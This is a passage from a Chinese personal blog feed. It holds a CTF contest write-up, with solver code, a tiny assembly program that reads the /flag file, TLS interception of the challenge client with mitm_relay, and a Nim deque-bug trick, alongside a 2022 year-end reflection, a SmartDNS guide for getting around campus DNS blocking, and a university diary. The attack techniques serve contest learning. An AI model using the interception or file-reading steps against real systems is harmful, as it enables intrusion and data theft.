45417758561516678299614988165293709844341137829745650317819716736245409534211537931474309649542643293481286288108797327082686032394262301806725714569926174658929032104358665346977612008826410052558251972505037604399993750875103732687980917598622794581557133564086619925370579974593904531599777401570987596226784788654464565211237426672053166320728447739096976380591661249138445693592809866686403424563905424497966766748347272172880406298580777009884403887002203251457975855284962288330010420556134912152780888099564887662839035605664244082866608935844317022220209078946185862137792168015223559804396482891997684868538235454373686259958357034596434430354461788642538590329890051467533742307518442025530266984906935369316068909171346312771211827790199946570041763324911386460809428364450519721603256193315668640567410592417158688381768489441223895776025034954387417934757392573701580193782051157294576846637940679852416ZmodN = Zmod(N)P.<x> = PolynomialRing(ZmodN)f = x^3 + cof1*x^2 + cof2*x + cof3x0 = f.small_roots()print(x0)
(cof1
、cof2
和 cof3
分别为二次项系数、一次项系数和常数项,预先用 Python 计算好了)
经过一番检索发现这是道非常标准的 LFSR 题目,直接根据网上的例子依葫芦画瓢求得初态 R。
mask = 0x9e393e7126c18da37dc14f9a3113c50c8ad4a522ae4501b20531mask = str(bin(mask))[2:]key = 0xc9fe198703d93a7cff319d81c311b169de4b8d528d2dbec4859bkey = str(bin(key))[2:]tmp = keybits = [1, 5, 6, 9, 11, 18, 21, 22, 24, 25, 33, 35, 39, 42, 43, 44, 46, 48, 50, 54, 57, 59, 62, 64, 67, 69, 71, 72, 74, 76, 80, 83, 84, 89, 91, 95, 96, 97, 98, 101, 105, 109, 110, 114, 116, 117, 120, 121, 122, 123, 124, 127, 129, 135, 136, 137, 139, 140, 141, 142, 143, 145, 146, 150, 152, 153, 155, 156, 160, 161, 167, 168, 170, 171, 174, 177, 181, 182, 183, 186, 187, 188, 189, 190, 193, 196, 197, 198, 202, 203, 204, 205]R = ''for i in range(208): output = '?' + key[:207] ans = int(key[-1]) for j in bits: ans = ans ^ int(output[-j]) R += str(ans) key = str(ans) + key[:207]R = [R[i:i+8] for i in range(0, len(R), 8)]for c in R: print(chr(int(c, 2)), end='')
不过这样做下来,结果却是乱码。
想想明明是 LFSR 为啥题目叫 RSFL 呢?尝试把最后的 R 二进制倒转一下,也就是R = R[::-1]
,然后就成功拿到了 flag。
要构造一个不超过三百字节的可执行文件,显然不能用 C 来写,只能用汇编了。然而我并不会汇编,好在找到了现成的代码,把读取的文件路径以及返回值改改就能用。
; Tiny Read File - Assembly Language - Linux/x86; Copyright (C) 2013 Geyslan G. Bem, Hacking bits;; http://hackingbits.com; geyslan@gmail.com;; This program is free software: you can redistribute it and/or modify; it under the terms of the GNU General Public License as published by; the Free Software Foundation, either version 3 of the License, or; (at your option) any later version.;; This program is distributed in the hope that it will be useful,; but WITHOUT ANY WARRANTY; without even the implied warranty of; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the; GNU General Public License for more details.;; You should have received a copy of the GNU General Public License; along with this program. If not, see <http://www.gnu.org/licenses/>.;; Program modified by Hans362global _startsection .text_start:; int open(const char *pathname, int flags);xor ecx, ecxmul ecxmov al, 5push ecxpush 0x6761push 0x6c662f2fmov ebx, espint 0x80; ssize_t read(int fd, void *buf, size_t count);xchg eax, ebxxchg ecx, eaxmov al, 3xor edx, edxmov dx, 0x20inc edxint 0x80; ssize_t write(int fd, const void *buf, size_t count);xchg edx, eaxxor eax, eaxmov al, 4mov bl, 1int 0x80; void _exit(int status); mov eax, 1mov ebx, 42int 0x80
使用 nasm -f elf32 tinyelf.asm
编译,此时如果直接 ld -m elf_i386 tinyelf.o -o tinyelf
进行链接,得到的可执行文件非常庞大,远超三百字节,因此我们需要自定义一下链接的过程。创建一个 tinyelf.lds
文件,内容如下:
ENTRY(_start)SECTIONS{ . = 0x400000 + SIZEOF_HEADERS; main : { *(.text) *(.rodata) } /DISCARD/ : { *(.symtab) *(.strtab) }}
然后使用 ld -m elf_i386 -s -static -T tinyelf.lds -o tinyelf tinyelf.o
进行链接,得到的可执行文件就只有320字节了,但依然不符合题目的要求。这时再用一下 super-strip 进一步缩减文件(写给官方的解题报告里漏了这步),就只剩下183字节了,base64 一下提交即可拿到 flag。
题目已经明示用中间人攻击。先用 WireShark 抓了下包,发现是 TLSv1.3 加密,但包裹的应该并非 HTTP 协议,因此 Fiddler 等工具都用不了。
那么有没有适用于非 HTTP 协议的中间人攻击工具呢?找了很久终于发现了 mitm_relay,完全符合需求。
可惜不知道我电脑上的 Python 是不是有什么问题,按照 README 配置好了证书,并且把 client
的流量重定向到了 Proxy,然而每次运行 client
mitm_relay 都会崩溃,导致我一度以为这个办法行不通。
后来开了个 Docker 容器搞了个干净的 Python 环境,然后竟然就正常了,成功抓到了 flag 信息并完成了解密。
可这解密出来的信息还是一团糟啊?而且每次返回的信息都不同,难道还有加密?多观察了几次我发现含有 flag 的信息总是以 78 9C 64
开头,似乎是某种文件头,Google 一下发现原来是 zlib 压缩的标记,解压一下即可。
import zlibd = "789C6450BB6EE33010ECF51553DE013A430759B65CA64C1F2035A55D9A4464AEB05CC55182FC7B40C5888B6C399C1707780AB2C07499567817B5C695D56E405E2FB3B310DF99EA0A784C0567CC938B095751CA35861516D6EDE19FF134C57486D7C8897615003C2482058E8AB34ACE985D4C564897780E868131B0192B96FC9D023C0756C618985F321233619844A8464CC58A110D31C30D45B2ABAA4DF4EBFAB65446E25756647785056758650145BAD728FE25F6D653D98B324C0A53B74990E44ECF6CDB14F0B224C21F515890A57CE586FDFDC9E0B771332FD7C89C3F4E27DF776DBB1F8FAEEBF64DC387664FED70ECFB7E3C75E48F7468FE7B1A3FBF020000FFFF7E80816F"d = bytes.fromhex(d)m = zlib.decompress(d)m = m.decode("utf-8")print(m)
解出的明文上半部分是莎士比亚的诗随机摘录的一部分,最底下是 flag,这也解释了为什么每次返回的信息都不同。
求解这个方程的正整数解。
Google 检索了一下,找到了 Quora 上的这个回答,贴心地提供了一个 时的 Magma 求解程序。
// // For my colleagues in Shell with a lot of love, (and with a lot of time now since no commuting, cause COVID) // Code is commented to explain how to solve the meme (https://preview.redd.it/p92108lekoq11.jpg?width=367&format=.jpg?width=1920&auto=webp&s=e0c84917c3d7e130cad06f9ab5a85634b0c88cfb) // // x/(y+z) + y/(x+z) + z/(x+y) = 4 // // This is the smallest solution: // x=4373612677928697257861252602371390152816537558161613618621437993378423467772036 // y=36875131794129999827197811565225474825492979968971970996283137471637224634055579 // z=154476802108746166441951315019919837485664325669565431700026634898253202035277999 // // Paste in the site below to execute this code see this result, also read the comments here to understand. // The last part of the prints() after executed shows you the solution above. // http://magma.maths.usyd.edu.au/calc/ // Eduardo Ruiz Duarte // toorandom@gmail.com // // First we define our environment for our "problem" R<x,y,z> := RationalFunctionField(Rationals(),3); problem := ((x/(y+z) + y/(x+z) + z/(x+y)) - 4) ; // first note that we know a point after some computation (-1,4,11) that // works but has a negative coordinate, the following function returns 0, which means that // (x/(y+z) + y/(x+z) + z/(x+y)) - 4 = 0 (just put the -4 in the other side) Evaluate(problem,[-1,4,11]); // after the previous returned 0 , we know the point fits, we continue. // we multiply by all the denominators of "problem" to get a polynomials problem*Denominator(problem); // we obtain a polynomial without denominators x^3 - 3*x^2*y - 3*x^2*z - 3*x*y^2 - 5*x*y*z - 3*x*z^2 + y^3 - 3*y^2*z - 3*y*z^2 + z^3 // We see is cubic, three variables, and every term has the same degree (3) , therefore this is a cubic // homogeneous curve, we know there is a point which is not the solution we want // the point (-1,4,11) fits in the original "problem" so it should fit in this new curve without denominators too (since no denominator becomes 0) // We transform this equation to a "curve" in Projecive space of dimension 2 P2<x,y,z> := ProjectiveSpace(Rationals(),2); C := Curve(P2,x^3 - 3*x^2*y - 3*x^2*z - 3*x*y^2 - 5*x*y*z - 3*x*z^2 + y^3 - 3*y^2*z - 3*y*z^2 + z^3); // fit the point to the curve C (no error is returned) Pt := C![-1,4,11]; // Since all cubic homogeneous curve with at least one point define an elliptc curve, we can transform // this curve C to an elliptc curve form and just like in cryptography, we will add this known point (mapped to the corresponded curve) // with itself until we get only positive coordinates and go back to C (original Problem) // Below, E is the curve, f is the map that maps Points f:C -> E (C is our original curve without denominators, both curves C,E are equivalent // but in E we can "Add points" to get another point of E. // and with f^-1 we can return to the point of C which is our original solution E,f := EllipticCurve(C); //g is the inverse g:E->C , f:C->E so g(f([-1,4,11]))=[-1,4,11] g := f^-1; // We try adding the known point Pt=[-1,4,11] mapped to E, 2..100 times // to see if when mapped back the added point to C gives positive coordinates //, this is 2*Pt, 3*Pt, ...., 100*Pt and then mapping back to C all these. for n:= 1 to 100 do // we calculate n times the point of C, known [-1,4,11] but mapped (via f) inside E (where we can do the "n times") nPt_inE:=n*f(Pt); // we take this point on E back to C via f^-1 (which we renamed as g) nPt_inC:=g(nPt_inE); //We obtain each coordinate of this point to see if is our positive solution, // here MAGMA scales automatically the point such as Z is one always 1, // so it puts the same denominators in X,Y, so numerators of X,Y are our //solutions and denominator our Z, think of P=(a/c,b/c,1) then c*P=(a,b,c) X := Numerator(nPt_inC[1]); Y := Numerator(nPt_inC[2]); Z := Denominator(nPt_inC[1]); printf "X=%o\nY=%o\nZ=%o\n",X,Y,Z; // We check the condition for our original problem. if ((X gt 0) and (Y gt 0)) then printf("GOT IT!!! x=apple, y=banana, z=pineapple, check the above solution\n"); break; else printf "Nee, some coordinate was negative above, I keep in the loop\n\n"; end if; end for; // We check the solution fits in the original problem if Evaluate(problem, [X,Y,Z]) eq 0 then printf "I evaluated the point to the original problem and yes, it worked!\n"; else printf "Mmm this cannot happen!\n"; end if;
对于 取其他值的情况,只需要提供一组整数特解(不需要正整数),改动一下程序里的方程和特解,即可求出正整数解。
至于如何找到一组整数特解,可以用 Mathemetica 或这个 Python 程序:
from math import gcdn = 100def calc(k): for x in range(-n, n + 1): for y in range(-n, n + 1): for z in range(0, n + 1): if gcd(x, gcd(y, z)) == 1: if x**3 + y**3 + z**3 - (k-1) * x**2 * (y + z) - (k-1) * y**2 * ( z + x) - (k-1) * z**2 * (x + y) - (2*k-3) * x * y * z == 0: print((x, y, z))calc(10) #2, 4, 6, 8, 10, 12, 14
最后解下来发现 和 用这个方法解不出正整数解,不过解出五组也够了,提交即可拿到 flag。
附上解出的答案(每三行对应一组解, 和 解不出所以用 占位)。
1134373612677928697257861252602371390152816537558161613618621437993378423467772036368751317941299998271978115652254748254929799689719709962831374716372246340555791544768021087461664419513150199198374856643256695654317000266348982532020352779991218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023225032402201268386688642646194249481114120008492122321846196737758856447761622076778963225735852195244304981379971238636762392597144720260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557111486237874538064262673731810148497763721905732356465890768665333959971445479055913094632095393819718121052555403971012213608619064201340292795283107902121058565307878681327935178490639793420926910311384652071019808659901831692881083109726138133576792688050707991134709544098774970366315687499590715801486684605848531840862995774951966598778232783014345433751837895584646378560097722185598160238070419680451885431654175988385793202828558181254940463484424373750274401154975744845313549355609896421653295060459073385345027218498760343088268275417130074269817993184931034711135686662438826817213563656105539275101535697856185534149345343499844688924609645885022355135918404539985234360061600350189104933602381092051318547433998422974780849873203504443997848655625530623340371134341848128666616900144765579208079985990838064549216971926322724228681888830028303266068257138844044018255271435540077145919301591275738734597339459327150605278900738075092002974105991478458558870434061142265122382216368947373807069713709930176019498122168857679124768213308531786347567931187892878408434918309016688829685352835815066580725250947929501490665081644655994535671618967990757851510884824555077182679991403377524647154791971060789752020813552933450127083583289512848480063215680871789266871667712713169422322364887230502908301686924054210360219287364955960956032042950833997524453330328272059153308291883334074276913609077731735284223918404284292419020812011476995921011741346807748175931518235517265745772175162459312702479399232407706908845419443981643112692945551070592330727356541136923766994413647861488973051126611026148759432379003889674724917944805607605522248369290505402289434909292483537959789906318874307733003636212064338665528270372138914552950520981104343589517822223391222134534938052800801473344178058681643355234652680630054983022124146408518221588969589953072079556410755020859599503506797164705586073997208789455400263349566445512977221962882867406488146422316005409966253780701584170838345028112949069889795685718655327046530483250125959173355678292967658914005638877070834611505129167951369865542011417024870301563177370018869158755113622408743199140022326059195657852986370212647002055769249427919561331384755453850684244409515534188128908717886781958319756449082516858512445042864312213606923472603131125312862163489874095569215350848020642593339333668497345496027314732958586211664873526777590213207494911489341805851119668605552962767170913510242826640252157887972782075528961355280336062145612460747723606271048651830697376448515279240383698244712760744225617860238413865463069908161808789650454745241907704275844268620641928071536471935844496315769833202537470824958655459533568285132339283938618222343063802537728518395353298233528915216796009477850913583253348657316305539116116545529005061890628594181727302600959589188925735191971379694355706370298940995871183032396390416512085602791303587544723405481920940763675217080848135445539322941838539207033324978817714980582330599640124052912926967531985018964876558514387292744663121901875818330026053857596485757632641362185800414508505696823397811729195950762298074638691319598677024682842850500466055330411193599574996670260492507269475864903238391223895885326678414020683576454741709602863217280010851276168216825863859040573444354295907934826671130563636454528049432770350792561383855445596764198934593413598210756244283133960172840494637655709996380769394897289315770647496306848105333931092479090617211591870032362741315085682044427187443198542321608859209927599313570244522981341655403891925668762696793907719481465429601734095543340697977445619789263260333955040257765154323207653185423045654950066530171927420226708484847785148696362128051684009006287078367627113950302616742922350689746559256788547473738546253597036529913164008886239140866538868133679321426499925438865107499467210806447455966881784773074840257999701947361563910608976890850681120516418668282306768016924440530657848816537335699121355049359050909203907837738074834870503545777919981175568661436044790745106190148655805228367983101181212325466410819682955290429003903817402587001173305732027063327857844602177643062519383986512680204327254096771700429703051102034935679024023938939600112395597429238435179484118705481556442118355641560666323383577129730629044138380813402139286515787005542023454150524855541144750166180919865766930052623463014576174554467821213957706498855559077927873140148579022102984237075640747995279989642832992188016154244525422278966269291094999255638208855482151405506938548578978626993952306016946318459909590778342355856153147577472731880392922408448351120608836436787309376542102861246758131059387213726386714147750943829877803608813501157597297132278662569590484844550173720257728957567960401433605097886634959342671140099728318480661981670113406848719025661715441498240565928452257694284734033186800579565313362313891643040303824890693074326810596828204114920499564539002024387811501676993037142024700539208458234538805837480373101259087885435757318639663667261597412600756998748849468402910307204633942748903285652463107201618869806410335014875125086076219328243935905232512517288787677039607942380387101187256890064827850683397174701574071447859273840130243421585240230546720814792141872637351043465819000677767263935304511294609746934407215686517293774009054989655225608925542221677606386577019926666519641600364567557194208313131276771325487167689236642467808540431881464601888142548664563650077494805488093052836193825650435423280004797008818023441669902387920463908641771270053841646139610358473027295405503333253535988771195991171826325976224803312343154770764448787106871066190163308337503496520787439022463066715315188820932966437067264819835942543744914754708785528560264636221600739219290648079243002368855133337672334702546690962019521762114649491890011821844552982141986770779324959379319663450035429876647739511502891515857175267046923938895240190738331037400875186816754190488884935451452912276673912555287036698557958114181944091831763987997170817657860587503942307866008409270543838849198648993460302655964709466390742236643982561028874558104072512842460862178322605890336695658154025228215730711703698453887
拿到了 Nim 程序源代码,读了好几遍感觉没啥问题啊,怎么会有漏洞呢?即使在 Hint 给出之后,我依然百思不得其解,因为我下意识地认为 GitHub 上 Closed 的 Issue 应该都已经在最新版本(1.6.10)中被修复。
直到最近(3月10日) Nim 发布了 1.6.12 版本,我看了眼更新日志,发现竟然提到了修复了 deques
组件的一个 bug,于是赶紧翻找对应的 PR。
有意思的是,这么严重的一个 bug 明明一月份就提出并修复了,怎么拖到现在才发布 Release 1.6.12。而 Release 1.6.10 是去年11月发布的,自然不会包括这个 bug 的修复,于是就给了我们可乘之机。
deques
实现的是一个顺序存储的双端循环队列,仔细看了一下发现触发 bug 的条件是队列中元素个数为 个,此时 shrink(fromFirst = 0, fromLast = 1)
就会出现不正确的结果,即队首元素变成了0。
那么利用这一个 bug,Tom 只要把奶酪的数量先搞成16个,然后用选项4喂 Jerry 0个,Tuffy 1个,于是队首的奶酪就神奇地变成了零卡的过期奶酪,再喂给 Jerry,这样 Jerry 的健康值就会下降,然后不停重复这一过程直至 Jerry 不健康了,就拿到了 flag。
(flag 说得对,不过我杀死的好像是 Jerry 不是 Tuffy 吧hhh)
总的来说,这次比赛体验很棒。题目的难度设置合理,让我这种 CTF 零基础小白在不熟悉的方向(比如 Crypto、Reverse、Pwnable)能边学边做,打完比赛又学到了很多新知识。同时题目也足够新颖,很有创意,几乎没有直接照搬的套路化的东西,是需要自己去分析思考的。当然还有奇安信赞助的丰厚奖金,做题的动力直接拉满。
最后拿了11847分,总排名#7,意外地挤进了前十,被大佬们包围着瑟瑟发抖。
]]>2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
2020年的再度轮回。
用一个词来概括2022年,我想只能是「魔幻」或「荒诞」。翻了下2020年的年终总结,我发现我已经用过「魔幻」了,所以今年就用「荒诞」吧。
整个上半年简直就像是直接挪用2020年的剧本,只不过把地点由武汉改成了上海。具体的经历可以看看周记#25 - 近况报告:高中生活完结🎉,此处不再赘述。
熬过了痛苦的网课、延期一个月的高考,匆匆过完缩水一个月的暑假,我终于迎来了大学生活。可开学第一天,星期二,我仿佛进入了循环。一人阳性,全校封闭,宿舍封楼,大学成了网课。具体的经历可以看看周记#28 - “开学第一课”,此处不再赘述。
十月底,终于有几周线下课。但是,48小时核酸检测、进出校申请制度成为了新常态。没有边界的权力肆意延伸,核酸检测信息开始与校园卡挂钩,不做核酸的后果是冻结卡片,不能洗澡吃饭。
原以为2022年就会在这新常态中结束,谁料十二月,风向一百八十度大转弯。宣传口对于新冠的论调变成了小感冒、可自愈,国家对于新冠病毒的认识似乎在一夜之间就取得了质的飞跃。明明就在不久前,国家还在高强度宣传动态清零、妖魔化新冠。就这样,在这场近乎运动式的剧变中,我们走向了放开。
然后,毫不意外地,退烧药抢破头,重症死亡人数飙升,一场场生离死别的人间惨剧再度上演。毕竟,最近一年里,我们忙着大建方舱,忙着大筛核酸,忙着封控维稳,却忘了提高医疗设备和服务,忘了为放开之后的药物保障做准备。
在本应逐步放开的绝佳时机大肆封控,牺牲了无数人的正常生活甚至是生命,造成了一场场本可以避免的灾难,却又在这个寒冷的冬天,毫无征兆地将措手不及的人们推到病毒面前裸奔,我想,没有比这更荒诞的事情了。归根到底,这是「科学」在这个国家决策过程中的缺失。我们的「科学」向来都是听从于政治的,而不是为政治指引方向的,决策不是随着「科学」的发展逐步演进的,而是尽可能地彰显自身所谓的正确性与优越性。而最终承受这一切后果的,只能是底层的百姓。
他人为你梦中的光明燃尽过。
很惭愧,我没有足够的勇气去抗争,我钦佩那些勇敢的人们,毅然起身,为更加光明的社会而战。无休止的封控能够迎来一个句号,离不开他们的努力。他们的勇气,让我看到了这片土地上依然有希望。
不要忘记那些夜晚的黑暗,不要忘记#FFFFFF
色的纸张,不要忘记那墙上的涂鸦和灰黑色的补丁,光明的到来不是理所当然的,希望回归正常生活的那一天,我们依然记得他们并心存感激。
除此之外,还要记录一位特殊的抗争者——网易新闻。在媒体环境急剧恶化、新闻自由受到严重威胁的今天,在各大媒体年终总结一众的“妖艳贱货”中,网易新闻选择了展示平凡人真实的2022年,直面现实揭示苦难,也让人看到了人性中永不磨灭的温暖光辉,是对如今高唱赞歌、粉饰太平的媒体环境的勇敢抗争。
视频发出后没多久,不出意外地被删除了。不过没关系,当视频被删除的那一刻,这个视频便完整了。
聊完沉重且严肃的话题,聊点轻松的吧,就像往年那样总结一下我个人的2022年。
警惕高考大类招生骗局。
经过了上半年的备战,我在7月的高考中取得了一个中规中矩的成绩,不算很差,但也并不是什么高分。填报志愿时,我别无选择,只能硬着头皮往大类招生的天坑里面跳。最终,我的运气还不错,被 SJTU 工科信息类录取了。
进入大学后,由于疫情封校,大类招生专业分流一度延后,直到11月专业才最终确定。由于高考成绩并不出色,我与 CS/SE/IS 根本无缘,连自动化都够不到,最后是压着线去了完全陌生的信息工程专业。虽说这名字听着和软工什么的好像差不多,但实际上它属于电子系,学的内容涵盖了电子工程、通信工程、视频编码、机器学习、计算机视觉等等,完全是杂而不精。
虽然很遗憾,但事已至此,我也只能接受现实。平台内转专业的竞争过于激烈,我不愿再经历一次高四,就顺着这条路走下去吧。当然,如果有选择的机会,千万不要碰大类招生!
无论当下的境遇如何,提瓦特大陆的星空永远会有你的位置。
没错,今年陪伴我最久的游戏,当然是《原神》啦!无论是剧情,还是配音和 OST,都是一流的水准。作为一个零氪玩家也能玩得很开心。
对我而言,年度最佳任务可能是「森林书」吧。尽管这是继「神樱大祓」后又一长篇任务,被不少人吐槽冗长繁琐,但剧情真的很棒,像在读一个美妙的童话,刀子也很棒。
最后安利一个原神年度混剪~
网易云音乐==OST播放器
年度歌手 HOYO-MiX,鬼知道我把 OST 听了多少遍。
不知道做什么的话,就去读书吧。
说来也惭愧,除去教材外,今年读的书屈指可数。
为了熟悉分流考的逻辑题买的。内容主要包括逻辑推理、逻辑漏洞、分析论述等方面的知识,每一章都配有几道练习题。就系统性而言我觉得这本书不太行,当然如果只是读一读打发时间顺便学点东西倒也还行。
看了 DIYgod 的推荐买了,是关于人生意义和成长的科幻小说,确实不错,中文译本也很有特色。
传说中的 CS:APP,只读完了前两章,填补了我的很多知识盲区,强烈推荐 C++ 初学者把前两章作为预备知识学习,对理解信息是如何在计算机中存储的很有帮助。
惨惨淡淡又一年。
由于7月份的时候弃用了愈发臃肿的 Google Analytics,改用了自建的 Umami,因此丢失了上半年的访问量统计数据。
今年发布了8篇文章,如果还有你没读过的,不妨去看看哦。
今年新增9条有效评论,感谢每一个前来互动的人🥰
疫情三年,我已经对“春暖花开”这个词 PTSD 了,因为有太多个冬天后的春天,都是一片荒芜。但是,我还是希望,待这个寒冬过去,春天真的能够在2023年到来,我们能自由地呼吸,去做想做的事,去见想见的人。
我的2023愿望清单:
当然最重要的是,身体健康,幸福快乐。
最后,感谢读到这的你,祝你的2023年,一切顺利,心想事成!
]]>最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
也许你会认为,既然只是学校网络信息中心提供的 DNS 服务器在特定时段不返回解析结果,那么只要改为使用公共 DNS 就能解决问题。没错,我一开始也是这样认为的,校内论坛上提供的解决方法亦是如此。
但是,在路由器上更换 DNS 后,却没有任何效果。我尝试在特定时段使用 nslookup
命令向校园网 DNS 服务器和一些公共 DNS 服务器查询 bilibili.com
的解析结果,结果很 amazing 啊!
Sat Oct 14 02:03:09 GMT 2022== SJTU Primary ==Server: 202.120.2.101Address 1: 202.120.2.101 202.120.2.101.dns.sjtu.edu.cn== SJTU Secondary ==Server: 202.112.26.40Address 1: 202.112.26.40 202.112.26.40.dns.sjtu.edu.cn== 114 ==Server: 114.114.114.114Address 1: 114.114.114.114 public1.114dns.com== DNSPod ==Server: 119.29.29.29Address 1: 119.29.29.29 pdns.dnspod.cn
无一例外地全部被阻断!我尚不清楚校园网是如何做到这一点的,或许是强制重定向所有 DNS-over-UDP 查询请求到校园网 DNS 服务器,导致请求根本没有到达 114 或 DNSPod 服务器,又或许是由于 DNS-over-UDP 查询是明文的,校园网出口能够识别出查询的域名,从而直接返回空结果。总之,这种情况下,简单地更换 DNS 服务器是无效的。
而且,即使这种方法有效,公共 DNS 会导致一些校内域名无法被正常解析,或无法返回最快的结果,同样会影响使用体验。
既然更换 DNS 无效,那么就只能另辟蹊径了。我想到的第一个方法是使用代理服务器,利用 dns2socks 等工具将 DNS 查询请求转发到代理服务器,再由代理服务器向公共 DNS 服务器查询结果,最后将结果返回给客户端。但这种方法需要一台境内服务器以确保速度,同时协议转换的过程对路由器的性能也有一定的要求。
因此,我决定使用另一种方法,那就是 DNS-over-HTTPS(DoH) 和 DNS-over-TLS(DoT)。二者都是 DNS-over-UDP 的替代方案,通过 HTTPS 或 TLS 协议向公共 DNS 服务器查询结果,从而避免了 DNS-over-UDP 查询请求被校园网通过某些方式污染的问题。
同时,为了避免上一节末尾提到的问题,我希望能够优先使用校园网 DNS 服务器进行查询,只有在校园网 DNS 服务器无法正常返回结果时才使用 DoH 或 DoT 向公共 DNS 服务器进行查询。SmartDNS 无疑是实现这一需求的绝佳工具。
SmartDNS 是一个运行在本地的 DNS 服务器,它接受来自本地客户端的 DNS 查询请求,然后从多个上游 DNS 服务器获取 DNS 查询结果,并将访问速度最快的结果返回给客户端,以此提高网络访问速度。 SmartDNS 同时支持指定特定域名 IP 地址,并高性匹配,可达到过滤广告的效果。
与 DNSmasq 的 all-servers 不同,SmartDNS 返回的是访问速度最快的解析结果。
支持树莓派、OpenWrt、华硕路由器原生固件和 Windows 系统等。
(摘录自 SmartDNS 项目主页)
关于 SmartDNS 是如何实现择优解析,以及如何避免因测速导致 DNS 解析过慢的,可以参考 Sukka 的这篇文章。
根据 SmartDNS 的官方文档以及路由器的处理器构架,我下载了编译好的 armv7 二进制,并编写了配置文件。
bind :5362speed-check-mode ping,tcp:80,tcp:443server 202.120.2.101:53server 202.112.26.40:53server-https https://1.12.12.12/dns-queryserver-https https://120.53.53.53/dns-queryserver-https https://1.1.1.1/dns-queryserver-tls dot.pub:853server-tls 8.8.4.4:853
将 SmartDNS 运行后,我将路由器自带的 dnsmasq 的上游服务器设置为 127.0.0.1:5362
,然后…
Sat Oct 15 02:03:09 GMT 2022Server: 127.0.0.1Address 1: 127.0.0.1 localhost.localdomainName: bilibili.comAddress 1: 119.3.70.188 ecs-119-3-70-188.compute.hwclouds-dns.com
与此同时,SmartDNS 的日志也记录下了这次查询的过程。
[2022-10-15 02:03:09,372][ INFO][ dns_server.c:4236] query server bilibili.com from 192.168.50.1, qtype = 28[2022-10-15 02:03:09,374][ INFO][ dns_client.c:3135] send request bilibili.com, qtype 28, id 3[2022-10-15 02:03:09,376][ INFO][ dns_server.c:4236] query server bilibili.com from 192.168.50.1, qtype = 1[2022-10-15 02:03:09,376][ INFO][ dns_client.c:3135] send request bilibili.com, qtype 1, id 4[2022-10-15 02:03:09,376][ INFO][ dns_client.c:3135] send request bilibili.com, qtype 28, id 5[2022-10-15 02:03:09,521][ INFO][ dns_server.c:1608] result: bilibili.com, qtype: 1, rtt: 4.1 ms, 119.3.70.188[2022-10-15 02:03:09,981][ INFO][ dns_server.c:583 ] result: bilibili.com, id: 64281, index: 1, rtt: 4.1 ms, 119.3.70.188[2022-10-15 02:03:09,981][ INFO][ dns_server.c:583 ] result: bilibili.com, id: 64281, index: 2, rtt: 5.3 ms, 47.103.24.173
对抗成功!
本文利用 SmartDNS 解决了校园网 DNS 污染问题,成功构建了愉快的网络环境。如果你的校园网也存在故意污染 DNS 的情况,并且不想或不能直接更换公共 DNS,不妨试试本文的方法。
最后说一句,我能够理解学校这么做的考虑,但我认为堵不如疏,强制性的网络限制并不是一个好方法。
]]>诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
中秋假期后的周二即为开学第一天。因为有早八还下着雨,所以睡到6:30就起床了,毕竟我可不想大学的第一节课就迟到。吃完早饭步行1km到达教学楼,7:40大教室里已经座无虚席了,我只好在最后一排赶紧找了个座位坐下。
7:50线代老师来了,打开 Canvas 让大家扫码签到,得知这是我们在大学的第一节课就顺便给我们介绍了一下 Canvas 的各种功能。简单来说,Canvas 是一个在线教学平台,可以查看课程资料、提交作业等,还可以观看课程录像和实时直播,因为教学楼大部分教室都安装了录课设备,会根据课表自动录制并上传。
第一节课主要讲了一下线性代数的历史和应用,讲了数域、线性方程组和矩阵的概念,感觉老师很不错,大概是希望所有人都能听懂所以讲得比较细致,有一些显而易见的地方也会板书亲手证明给你看。
下课后,正想去体育馆上后面一节体育课,看到教务处通知说由于疫情防控第一周体育课线上进行,第二周开始恢复线下。于是回到宿舍,打开腾讯会议开始线上课程。11:40下课后,去食堂吃了顿好吃的,然后回寝室休息。
到这里为止,一切看起来还比较正常,之后的事情就不那么正常了。
午饭后在寝室休息,登上教学信息网看了一眼课表,无意间竟发现所有课程都被添加上了腾讯会议号和密码,此时我已预感大事不妙。打开校内论坛一看,果然出事了,校内有一位返沪同学核酸异常,包括菜鸟驿站在内的许多场所都已被封,校门也封死禁止出入了。开学半天就封校,真够离谱的。
一小时后接到教务处通知,确认下午课程全部改线上教学。回想起今年三月我校疫情爆发,这下恐怕要二周目了,于是赶紧前往楼下便利店屯了一些物资。室友搞来了一桶18L的桶装水,够喝一阵了。
下午上完课得知已经有几栋楼的同学被转运到隔离酒店了,还有几栋楼封控了。我所在的楼暂时还没被封,但楼栋群里通知说尽量不要外出,晚饭去食堂打包回来吃。
打开手机,我校微信公众号又不合时宜地发了一篇推送:
(穿梭回今年三月是吧,重温一下封校是吧)
(图源微信公众号“二月十三”,原文已被和谐)
